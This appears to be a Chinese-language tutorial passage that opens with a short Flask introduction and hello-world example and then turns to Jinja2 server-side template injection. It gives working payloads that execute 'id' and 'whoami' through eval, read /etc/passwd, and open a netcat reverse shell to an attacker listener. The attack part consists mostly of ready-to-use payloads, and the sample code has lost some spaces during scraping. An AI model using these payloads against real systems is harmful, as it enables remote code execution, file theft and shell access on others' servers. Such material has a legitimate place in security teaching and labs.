Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。 Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
Werkzeug 一个 WSGI 工具包
jinja2 模板引擎
下面是Flask版的hello world(hello-demo.py):
1 2 3 4 5 6 7 8
from flask import Flask app = Flask(__name__) @app.route("/") defhello(): return"Hello World!" if __name__ == "__main__": app.run()
安装flask即可运行了:
1 2 3 4 5 6
$ pip install Flask
$ python hello.py * Running on http://localhost:5000/ *flask默认端口是5000
http://192.168.220.132:8000/?name= {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
http://192.168.220.132:8000/?name= {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}
3.python3没有file了,所以可以用open
1 2
http://192.168.220.132:8000/?name= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
文件操作
1.用open操作文件
1 2
http://192.168.220.132:8000/?name= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
反弹shell
无法使用bash反弹shell,只能在容器中下载netcat;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# docker中下载netcat apt install netcat
# 攻击机中开启端口监听 nc -lvvp 2333
# 浏览器执行payload http://192.168.220.132:8000/?name= {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("nc -e /bin/bash IP 2333").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}